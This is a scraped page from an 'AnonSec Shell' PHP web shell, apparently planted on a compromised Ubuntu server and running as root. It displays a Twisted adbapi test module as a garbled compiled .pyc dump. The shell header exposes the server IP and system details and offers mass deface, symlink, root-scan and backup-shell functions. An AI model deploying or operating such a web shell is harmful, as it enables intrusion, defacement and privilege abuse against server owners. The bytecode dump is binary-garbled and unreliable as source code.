AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/test/__pycache__/test_adbapi.cpython-310.pyc
o

�b?f�@s�dZddlZddlZddlmZmZddlmZmZm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZddlmZd	ZGd
d�d�ZGdd
�d
�ZGdd�d�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Zeede ��eede ��Gd d!�d!�Z!Gd"d#�d#ej"�Z#Gd$d%�d%ej"�Z$Gd&d'�d'�Z%Gd(d)�d)e	�Z&Gd*d+�d+�Z'Gd,d-�d-ej"�Z(dS).z&
Tests for twisted.enterprise.adbapi.
�N)�Dict�Optional)�
Connection�ConnectionLost�ConnectionPool�Transaction)�defer�
interfaces�reactor)�Failure��
requireModule)�unittestz%
CREATE TABLE simple (
  x integer
)
c@s�eZdZUdZiZeeefed<e	�
ed�durdZdd�Z
dd�Zd	d
�Zd3dd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Z d-d.�Z!d/d0�Z"d1d2�Z#dS)4�ADBAPITestBasez,
    Test the asynchronous DB-API code.
    �openfun_calledN�5ADB-API requires threads, no way to test without themcCs&|��|j|jd�|_|j��dS)zR
        Set up the database and create a connection pool pointing at it.
        )�
cp_openfunN)�startDB�makePool�openfun�dbpool�start��self�r�:/usr/lib/python3/dist-packages/twisted/test/test_adbapi.py�
extraSetUp(szADBAPITestBase.extraSetUpc�4�j�d�}|��fdd��|��fdd��|S)N�DROP TABLE simplec�
�j��S�N�r�close��resrrr�<lambda>2�
z)ADBAPITestBase.tearDown.<locals>.<lambda>c����Sr ��stopDBr#rrrr%3��r�runOperation�addCallback�r�drrr�tearDown0�zADBAPITestBase.tearDowncCsd|j|<dS)NT)r�r�connrrrr6szADBAPITestBase.openfuncCs&|s
|�|j�dS|�||j�dSr )�
assertTruer�assertInr2rrr�checkOpenfunCalled9sz!ADBAPITestBase.checkOpenfunCalledcs��j�t�}�jr*|��j�|��j�|��j�|��j�|��fdd��|��j	�|��j
�|��j�|��j�|��j
�|��j�|��j�|��j�|S)Ncr'r )�flushLoggedErrorsr#rrrr%Fr*z*ADBAPITestBase.test_pool.<locals>.<lambda>)rr,�simple_table_schema�
test_failuresr-�
_testPool_1_1�
_testPool_1_2�
_testPool_1_3�
_testPool_1_4�_testPool_2�_testPool_3�_testPool_4�_testPool_5�_testPool_6�_testPool_7�_testPool_8�_testPool_9r.rrr�	test_pool?s zADBAPITestBase.test_poolc�,t��jjd�}|��fdd�dd��|S)N�select * from NOTABLEc�
��d�S�Nzno exception��failr#rrrr%Sr&z.ADBAPITestBase._testPool_1_1.<locals>.<lambda>cS�dSr r��frrrr%S��r�
maybeDeferredr�runQuery�addCallbacks�rr$r/rrrr:Q�zADBAPITestBase._testPool_1_1crG)Nzdeletexxx from NOTABLEcrIrJrKr#rrrr%Xr&z.ADBAPITestBase._testPool_1_2.<locals>.<lambda>cSrMr rrNrrrr%XrP)rrRrr,rTrUrrrr;VrVzADBAPITestBase._testPool_1_2c�.t��jj�j�}|��fdd�dd��|S)NcrIrJrKr#rrrr%]r&z.ADBAPITestBase._testPool_1_3.<locals>.<lambda>cSrMr rrNrrrr%]rP)rrRr�runInteraction�bad_interactionrTrUrrrr<[�zADBAPITestBase._testPool_1_3crW)NcrIrJrKr#rrrr%br&z.ADBAPITestBase._testPool_1_4.<locals>.<lambda>cSrMr rrNrrrr%brP)rrRr�runWithConnection�bad_withConnectionrTrUrrrr=`rZzADBAPITestBase._testPool_1_4c�*d}�j�|�}�fdd�}|�|�|S)N�select count(1) from simplec�(��t|dd�dkd����dS)NrzInteraction not rolled back)r4�intr6��rowrrr�_checkjsz*ADBAPITestBase._testPool_2.<locals>._check�rrSr-�rr$�sqlr/rcrrrr>es

zADBAPITestBase._testPool_2csld}g}t�j�D]}d|}|��j�|��q	t�|�}�fdd�}|�|��fdd�}|�|�|S)Nr^z insert into simple(x) values(%d)csd}�j�|�}|S)N�select x from simple order by x)rrS)r$rfr/rrr�_selectzsz+ADBAPITestBase._testPool_3.<locals>._selectcsZ��t|��jkd�t�j�D]}��t||�dkd���||d|kd�qdS)NzWrong number of rows��Wrong size rowrzValues not returned.)r4�len�num_iterations�range)�rows�irrrrc�s
�z*ADBAPITestBase._testPool_3.<locals>._check)rmrl�appendrr,r�
gatherResultsr-)rr$rf�insertsror/rhrcrrrr?qs


zADBAPITestBase._testPool_3c�$�j��j�}|��fdd��|S)Nc���|d�S�N�done��assertEqualr#rrrr%��z,ADBAPITestBase._testPool_4.<locals>.<lambda>)rrX�interactionr-rUrrrr@��zADBAPITestBase._testPool_4crs)Ncrtrurwr#rrrr%�ryz,ADBAPITestBase._testPool_5.<locals>.<lambda>)rr[�withConnectionr-rUrrrrA�r{zADBAPITestBase._testPool_5cCs|j�|j�}|Sr )rr[�close_withConnectionrUrrrrB�szADBAPITestBase._testPool_6csVg}t�j�D]}d|}|��j�|��qtj|dd�}�fdd�}|�|�|S)Nz!select x from simple where x = %dT��fireOnOneErrbackcs4t�j�D]}��||ddd|kd�qdS)NrirzValue not returned)rmrlr4)�resultrorrrrc�s"�z*ADBAPITestBase._testPool_7.<locals>._check)rmrlrprrSr�DeferredListr-)rr$�dsrorf�dlistrcrrrrC�s
zADBAPITestBase._testPool_7cCs@g}t|j�D]}d|}|�|j�|��qtj|dd�}|S)Nzdelete from simple where x = %dTr~)rmrlrprr,rr�)rr$r�rorfr�rrrrD�szADBAPITestBase._testPool_8cr])Nr^cr_)Nrz)Didn't successfully delete table contents)r4r`�checkConnectrarrrrc�s�z*ADBAPITestBase._testPool_9.<locals>._checkrdrerrrrE�s

zADBAPITestBase._testPool_9cCs�|j��}|�|�|��}|�d�|�d�|��}|�t|�d�|�t|d�d�|�|ddd�|�d�|�d�|�t|���d�|��|j�	|�dS)z/Check the connect/disconnect synchronous calls.zinsert into simple(x) values(1)zselect x from simplerirzdelete from simpleN)
r�connectr6�cursor�execute�fetchallrxrkr"�
disconnect)rr3�cursr$rrrr��s





zADBAPITestBase.checkConnectcCs^|�d�t|j�D]}|��}|�t|�dkd�|�|d|kd�q
|�|��d�dS)Nrgrirjr�Value not returned.z
Too many rowsrv)r�rmrl�fetchoner4rk�assertIsNone)r�transactionrorbrrrrz�s
zADBAPITestBase.interactioncCs|jr|�d�|�d�dS)Nzinsert into simple(x) values(0)rH)�can_rollbackr�)rr�rrrrY��
zADBAPITestBase.bad_interactioncCsl|��}z,|�d�t|j�D]}|��}|�t|�dkd�|�|d|kd�qW|��dS|��w)Nrgrirjrr�rv)r�r�rmrlr�r4rkr")rr3r�rorbrrrr|�s
�
�zADBAPITestBase.withConnectioncCs|��dSr )r"r2rrrr}�sz#ADBAPITestBase.close_withConnectioncCs,|��}z|�d�W|��dS|��w)NrH)r�r�r")rr3r�rrrr\�sz!ADBAPITestBase.bad_withConnectionr )$�__name__�
__module__�__qualname__�__doc__rr�object�bool�__annotations__r	�IReactorThreadsr
�skiprr0rr6rFr:r;r<r=r>r?r@rArBrCrDrEr�rzrYr|r}r\rrrrrs8

		rc@sdeZdZdZe�ed�durdZdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�ZdS)�ReconnectTestBasez;
    Test the asynchronous DB-API code with reconnect.
    NrcCsF|jdur
t�d��|��|jdd|jd�|_|j��|j�t�S)z�
        Skip the test if C{good_sql} is unavailable.  Otherwise, set up the
        database, create a connection pool pointed at it, and set up a simple
        schema in it.
        Nzno good sql for reconnect testriT)�cp_max�cp_reconnect�cp_good_sql)	�good_sqlr�SkipTestrrrrr,r8rrrrrs

�
zReconnectTestBase.extraSetUpcr)Nrcrr r!r#rrrr%r&z,ReconnectTestBase.tearDown.<locals>.<lambda>cr'r r(r#rrrr%r*r+r.rrrr0r1zReconnectTestBase.tearDowncCsPt�d�}|�|j�|�|j�|js|�|j�|�|j�|�|j�|Sr )	r�succeedr-�_testPool_1r>�early_reconnectr?r@rAr.rrrrFs
zReconnectTestBase.test_poolcr])Nr^c� ��t|dd�dkd�dS�NrzTable not empty�r4r`rarrrrc%� z-ReconnectTestBase._testPool_1.<locals>._checkrdrerrrr�!�

zReconnectTestBase._testPool_1cCst|jj���d��dS)Nr)�listr�connections�valuesr")rr$rrrr>+szReconnectTestBase._testPool_2cs0d}t��jj|�}|��fdd�dd��|S)Nr^crIrJrKr#rrrr%2r&z/ReconnectTestBase._testPool_3.<locals>.<lambda>cSrMr rrNrrrr%2rPrQ�rr$rfr/rrrr?/szReconnectTestBase._testPool_3cr])Nr^cr�r�r�rarrrrc9r�z-ReconnectTestBase._testPool_4.<locals>._checkrdrerrrr@5r�zReconnectTestBase._testPool_4cs<���d}t��jj|�}|��fdd��fdd��|S)NrHcrIrJrKr#rrrr%Dr&z/ReconnectTestBase._testPool_5.<locals>.<lambda>cs��|�t��Sr )�assertFalse�checkrrNrrrr%Es)r7rrRrrSrTr�rrrrA?s

�zReconnectTestBase._testPool_5)r�r�r�r�r	r�r
r�rr0rFr�r>r?r@rArrrrr��s


r�c@s�eZdZUdZdZeeed<dZdZ	dZ
dZdZdZ
dZdZdZejZeeed<dZdZdZdd	�Zd
d�Zdd
�Zdd�Zdd�Zdd�ZdS)�DBTestConnectora>
    A class which knows how to test for the presence of
    and establish a connection to a relational database.

    To enable test cases  which use a central, system database,
    you must create a database named DB_NAME with a user DB_USER
    and password DB_PASS with full access rights to database DB_NAME.
    N�TEST_PREFIX�twisted_testTr��2cCs6|��|_t�|j�|��st�d|j��|��S)Nz%s: Cannot access db)	�mktemp�DB_DIR�os�mkdir�can_connectrr�r�rrrrr�setUpis

zDBTestConnector.setUpcC�t��)zXReturn true if this database is present on the system
        and can be used in a test.��NotImplementedErrorrrrrr�pszDBTestConnector.can_connectcC�dS)z+Take any steps needed to bring database up.Nrrrrrru�zDBTestConnector.startDBcCr�)zBring database down, if needed.Nrrrrrr)yr�zDBTestConnector.stopDBcKs,|��\}}|��}|�|�t|i|��S)z;Create a connection pool with additional keyword arguments.)�getPoolArgs�copy�updater)r�newkw�args�kwrrrr}s
zDBTestConnector.makePoolcCr�)z�Return a tuple (args, kw) of list and keyword arguments
        that need to be passed to ConnectionPool to create a connection
        to this database.r�rrrrr��szDBTestConnector.getPoolArgs)r�r�r�r�r�r�strr��DB_NAME�DB_USER�DB_PASSr��nulls_ok�trailing_spaces_okr�r9�escape_slashesrr�r��	can_clearrlr�r�rr)rr�rrrrr�Js,

r�c@�4eZdZdZdZdZdZdd�Zdd�Zd	d
�Z	dS)�SQLite3ConnectorzB
    Connector that uses the stdlib SQLite3 database support.
    �SQLite3FricC�td�durdSdS)N�sqlite3FTrrrrrr���zSQLite3Connector.can_connectcC�6tj�|j|j�|_tj�|j�rt�|j�dSdSr �r��path�joinr�r��database�exists�unlinkrrrrr���zSQLite3Connector.startDBcC�d}|jddd�}||fS)N)r�riF�r�r��check_same_thread�r��rr�r�rrrr���zSQLite3Connector.getPoolArgsN�
r�r�r�r�r�r�rlr�rr�rrrrr���r�c@r�)�PySQLite2ConnectorzA
    Connector that uses pysqlite's SQLite database support.
    �	pysqlite2FricCr�)N�pysqlite2.dbapi2FTrrrrrr��r�zPySQLite2Connector.can_connectcCr�r r�rrrrr�r�zPySQLite2Connector.startDBcCr�)N)r�riFr�r�r�rrrr��r�zPySQLite2Connector.getPoolArgsNr�rrrrr��r�r�c@� eZdZdZdd�Zdd�ZdS)�PyPgSQLConnector�PyPgSQLcCs`zddlm}Wn
tyYdSwz|j|j|j|jd�}|��WdSty/YdSw)Nr)�PgSQLF�r��user�passwordT)�pyPgSQLr��
BaseExceptionr�r�r�r�r")rr�r3rrrr��s���zPyPgSQLConnector.can_connectcC� d}|j|j|jdd�}||fS)N)z
pyPgSQL.PgSQLr�r�r�r��cp_min�r�r�r�r�rrrr����zPyPgSQLConnector.getPoolArgsN�r�r�r�r�r�r�rrrrr���r�c@r�)�PsycopgConnector�PsycopgcC�\zddl}Wn
tyYdSwz|j|j|j|jd�}|��WdSty-YdSw)NrFr�T)�psycopgr�r�r�r�r�r")rr�r3rrrr������zPsycopgConnector.can_connectcCr�)N)r�rr�r�r�rrrr��r�zPsycopgConnector.getPoolArgsNr�rrrrr��r�r�c@s,eZdZdZdZdZdZdd�Zdd�ZdS)�MySQLConnector�MySQLFcCr�)NrF��dbr��passwdT)�MySQLdbr�r�r�r�r�r")rr�r3rrrr��r�zMySQLConnector.can_connectcCsd}|j|j|jd�}||fS)N)r�r�r�r�rrrr�szMySQLConnector.getPoolArgsN)	r�r�r�r�r�r�r�r�r�rrrrr��sr�c@sDeZdZdZdZdZdZdZdZdd�Z	dd�Z
d	d
�Zdd�ZdS)
�FirebirdConnector�FirebirdFN�cCs<td�durdSz|��|��WdStyYdSw)N�kinterbasdbFT)r
rr)r�rrrrr�s�zFirebirdConnector.can_connectcCsfddl}tj�|jtj�|_t�|jtj	tj
tj�d}||j|j|j
f;}|�|�}|��dS)Nrz,create database "%s" user "%s" password "%s")rr�r�r�r�r�r��chmod�stat�S_IRWXU�S_IRWXG�S_IRWXOr�r��create_databaser")rrrfr3rrrr&s
zFirebirdConnector.startDBcCs d}|jd|j|jd�}||fS)N)r�	127.0.0.1�r��hostr�r�r�r�rrrr�0s�zFirebirdConnector.getPoolArgscCs,ddl}|j|jd|j|jd�}|��dS)Nrr	r
)rr�r�r�r��
drop_database)rrr3rrrr):s�zFirebirdConnector.stopDB)
r�r�r�r�r9r�r�r�rlr�rr�r)rrrrr�s


r�cs�ttttttg}i}|D]0��j|}G�fdd�d�|tj�}||_	t
�d�r8d��j�
�dd�|g�|_|||<q|�|�dS)aQ
    Make a test case for every db connector which can connect.

    @param base: Base class for test case. Additional base classes
                 will be a DBConnector subclass and unittest.TestCase
    @param suffix: A suffix used to create test case names. Prefixes
                   are defined in the DBConnector subclasses.
    cseZdZ�jZdS)zmakeSQLTests.<locals>.testcaseN)r�r�r�r��	connclassrr�testcase[s
rr��.r���N)r�r�r�r�r�r�r�r�TestCaser��hasattrr�r��splitr�)�base�suffix�globals�
connectors�tests�namerrr
r�makeSQLTestsFs$
�

�
r�ADBAPITests�ReconnectTestsc@s0eZdZdZdZdZdd�Zdd�Zdd�Zd	S)
�FakePoolz�
    A fake L{ConnectionPool} for tests.

    @ivar connectionFactory: factory for making connections returned by the
        C{connect} method.
    @type connectionFactory: any callable
    TcCs
||_dSr ��connectionFactory)rr rrr�__init__}s
zFakePool.__init__cCs|��S)zB
        Return an instance of C{self.connectionFactory}.
        rrrrrr��szFakePool.connectcCr�)z
        Do nothing.
        Nr)r�
connectionrrrr��rPzFakePool.disconnectN)	r�r�r�r��	reconnect�noisyr!r�r�rrrrrqsrc@�eZdZdZdd�ZdS)�ConnectionTestsz,
    Tests for the L{Connection} class.
    cCsbGdd�d�}t|�}t|�}|�t|j�|�t�}|�t|�d�|�|dj	j
dd�dS)z|
        If an error happens during rollback, L{ConnectionLost} is raised but
        the original error is logged.
        c@�eZdZdd�ZdS)zIConnectionTests.test_rollbackErrorLogged.<locals>.ConnectionRollbackRaisecS�td���N�problem!��RuntimeErrorrrrr�rollback��zRConnectionTests.test_rollbackErrorLogged.<locals>.ConnectionRollbackRaise.rollbackN)r�r�r�r-rrrr�ConnectionRollbackRaise��r/rirr*N)rr�assertRaisesrr-r7r,rxrk�valuer�)rr/�poolr"�errorsrrr�test_rollbackErrorLogged�s
z(ConnectionTests.test_rollbackErrorLoggedN)r�r�r�r�r5rrrrr&��r&c@r%)�TransactionTestsz-
    Tests for the L{Transaction} class.
    cCs`Gdd�d�}td�}t||��}|��|�t�}|�t|�d�|�|djjdd�dS)z�
        If the cursor creation raises an error in L{Transaction.reopen}, it
        reconnects but log the error occurred.
        c@r�)zNTransactionTests.test_reopenLogErrorIfReconnect.<locals>.ConnectionCursorRaisercSrMr rrrrrr#��zXTransactionTests.test_reopenLogErrorIfReconnect.<locals>.ConnectionCursorRaise.reconnectcSs$|jdkr|jd7_td��dS)Nrrir*)�countr,rrrrr��s
�zUTransactionTests.test_reopenLogErrorIfReconnect.<locals>.ConnectionCursorRaise.cursorN)r�r�r�r9r#r�rrrr�ConnectionCursorRaise�sr:Nrirr*)	rr�reopenr7r,rxrkr2r�)rr:r3r�r4rrr�test_reopenLogErrorIfReconnect�s
z/TransactionTests.test_reopenLogErrorIfReconnectN)r�r�r�r�r<rrrrr7�r6r7c@r')�
NonThreadPoolcOsBd}z	||i|��}Wntyd}t�}Ynw|||�dS)NTF)�	Exceptionr)r�onResultrO�ar��successr�rrr�callInThreadWithCallback�s
�z&NonThreadPool.callInThreadWithCallbackN)r�r�r�rBrrrrr=�r0r=c@seZdZdZe�Zdd�ZdS)�DummyConnectionPoolz'
    A testable L{ConnectionPool};
    cCs
t|_dS)z*
        Don't forward init call.
        N)r
�_reactorrrrrr!�s
zDummyConnectionPool.__init__N)r�r�r�r�r=�
threadpoolr!rrrrrC�srCc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�EventReactora
    Partial L{IReactorCore} implementation with simple event-related
    methods.

    @ivar _running: A C{bool} indicating whether the reactor is pretending
        to have been started already or not.

    @ivar triggers: A C{list} of pending system event triggers.
    cCs||_g|_dSr )�_running�triggers)r�runningrrrr!�s
zEventReactor.__init__cCs|jr|�dS|�dd|�S)N�after�startup)rG�addSystemEventTrigger)r�functionrrr�callWhenRunning�r�zEventReactor.callWhenRunningcCs|||f}|j�|�|Sr )rHrp)r�phase�event�trigger�handlerrrrL�s
z"EventReactor.addSystemEventTriggercCs|j�|�dSr )rH�remove)rrRrrr�removeSystemEventTrigger�sz%EventReactor.removeSystemEventTriggerN)r�r�r�r�r!rNrLrTrrrrrF�s
rFc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�ConnectionPoolTestsz+
    Unit tests for L{ConnectionPool}.
    csRGdd�d�}dd�}t�}||_|�|�}��|t�}�fdd�}|�|�|S)z�
        If rollback fails, L{ConnectionPool.runWithConnection} raises the
        original exception and log the error of the rollback.
        c@�eZdZdd�Zdd�ZdS)z]ConnectionPoolTests.test_runWithConnectionRaiseOriginalError.<locals>.ConnectionRollbackRaisecSrMr r�rr3rrrr!r8zfConnectionPoolTests.test_runWithConnectionRaiseOriginalError.<locals>.ConnectionRollbackRaise.__init__cSr(r)r+rrrrr-r.zfConnectionPoolTests.test_runWithConnectionRaiseOriginalError.<locals>.ConnectionRollbackRaise.rollbackN�r�r�r�r!r-rrrrr/�r/cSr(�N�foo��
ValueError)r"rrr�raisingFunction
r.zUConnectionPoolTests.test_runWithConnectionRaiseOriginalError.<locals>.raisingFunctionc�6��t�}��t|�d���|djjdd�dS�Nrirr*�r7r,rxrkr2r���ignoredr4rrr�cbFailed�
zNConnectionPoolTests.test_runWithConnectionRaiseOriginalError.<locals>.cbFailed)rCr r[�
assertFailurer]r-)rr/r^r3r/rdrrr�(test_runWithConnectionRaiseOriginalError�s

z<ConnectionPoolTests.test_runWithConnectionRaiseOriginalErrorcCsVGdd�d�}t�}|�|��|�t�}|�t|�d�|�|djjdd�dS)z;
        L{ConnectionPool._close} logs exceptions.
        c@r')zDConnectionPoolTests.test_closeLogError.<locals>.ConnectionCloseRaisecSr(r)r+rrrrr" r.zJConnectionPoolTests.test_closeLogError.<locals>.ConnectionCloseRaise.closeN)r�r�r�r"rrrr�ConnectionCloseRaiser0rhrirr*N)rC�_closer7r,rxrkr2r�)rrhr3r4rrr�test_closeLogErrors
z&ConnectionPoolTests.test_closeLogErrorcsfGdd�d�}Gdd�d�}dd�}t�}||_||_|�|�}��|t�}�fdd�}|�|�|S)	z�
        If rollback fails, L{ConnectionPool.runInteraction} raises the
        original exception and log the error of the rollback.
        c@rV)z^ConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.ConnectionRollbackRaisecSrMr rrWrrrr!1r8zgConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.ConnectionRollbackRaise.__init__cSr(r)r+rrrrr-4r.zgConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.ConnectionRollbackRaise.rollbackNrXrrrrr/0rYr/c@r')zWConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.DummyTransactioncSrMr r)rr3r"rrrr!8r8z`ConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.DummyTransaction.__init__N)r�r�r�r!rrrr�DummyTransaction7r0rkcSr(rZr\)r�rrrr^;r.zVConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.raisingFunctioncr_r`rarbrrrrdErezOConnectionPoolTests.test_runWithInteractionRaiseOriginalError.<locals>.cbFailed)rCr �transactionFactoryrXrfr]r-)rr/rkr^r3r/rdrrr�)test_runWithInteractionRaiseOriginalError*s

z=ConnectionPoolTests.test_runWithInteractionRaiseOriginalErrorcC�Dtd�}td|d�}|�|jdd|jfg�|��|�|j�dS)z�
        If L{ConnectionPool.close} is called without L{ConnectionPool.start}
        having been called, the pool's startup event is cancelled.
        F�twisted.test.test_adbapi��
cp_reactorrJrKN)rFrrxrH�_startr"r��rr
r3rrr�test_unstartedCloseM�
z'ConnectionPoolTests.test_unstartedClosecCrn)z�
        If L{ConnectionPool.close} is called after it has been started, but
        not by its shutdown trigger, the shutdown trigger is cancelled.
        Trorp�during�shutdownN)rFrrxrH�
finalCloser"r�rsrrr�test_startedCloseZruz%ConnectionPoolTests.test_startedCloseN)	r�r�r�r�rgrjrmrtryrrrrrU�s#
rU))r�r�r�typingrr�twisted.enterprise.adbapirrrr�twisted.internetrr	r
�twisted.python.failurer�twisted.python.reflectr
�
twisted.trialrr8rr�r�r�r�r�r�r�r�rrrrr&r7r=rCrFrUrrrr�<module>s<]PA4$

Anon7 - 2022
AnonSec Team